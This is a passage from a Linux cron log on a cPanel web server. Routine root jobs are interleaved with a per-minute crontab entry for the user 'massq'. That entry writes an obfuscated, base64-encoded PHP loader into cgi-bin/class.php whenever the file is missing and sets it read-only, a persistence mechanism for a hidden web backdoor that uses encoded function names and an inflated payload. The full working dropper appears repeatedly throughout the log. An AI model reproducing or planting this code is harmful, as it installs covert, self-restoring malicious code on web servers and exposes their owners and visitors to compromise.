CNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:01:01 server CROND[10413]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 01:01:01 server run-parts(/etc/cron.hourly)[10413]: starting 0anacron
Sep 10 01:01:01 server anacron[10434]: Anacron started on 2026-09-10
Sep 10 01:01:01 server anacron[10434]: Normal exit (0 jobs run)
Sep 10 01:01:01 server run-parts(/etc/cron.hourly)[10436]: finished 0anacron
Sep 10 01:02:01 server CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:02:01 server CROND[10786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:02:01 server CROND[10787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:03:01 server CROND[11149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:03:01 server CROND[11150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:03:01 server CROND[11151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:04:01 server CROND[11522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:04:01 server CROND[11524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:04:01 server CROND[11525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:05:01 server CROND[11988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:05:01 server CROND[11990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:05:01 server CROND[11991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:05:01 server CROND[12001]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:05:01 server CROND[12004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:05:01 server CROND[12005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:05:01 server CROND[12008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:05:01 server CROND[12002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:06:01 server CROND[12847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:06:01 server CROND[12848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:06:01 server CROND[12850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:07:01 server CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:07:01 server CROND[13211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:07:01 server CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:08:01 server CROND[13579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:08:01 server CROND[13580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:08:01 server CROND[13581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:09:01 server CROND[13964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:09:01 server CROND[13965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:09:01 server CROND[13967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:09:01 server CROND[13966]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 01:10:01 server CROND[14438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:10:01 server CROND[14440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:10:01 server CROND[14443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:10:01 server CROND[14444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:10:01 server CROND[14446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:10:01 server CROND[14448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:10:01 server CROND[14450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:10:01 server CROND[14447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:11:01 server CROND[15282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:11:01 server CROND[15283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:11:01 server CROND[15285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:12:01 server CROND[15665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:12:01 server CROND[15666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:12:01 server CROND[15668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:12:01 server CROND[15667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:13:01 server CROND[16032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
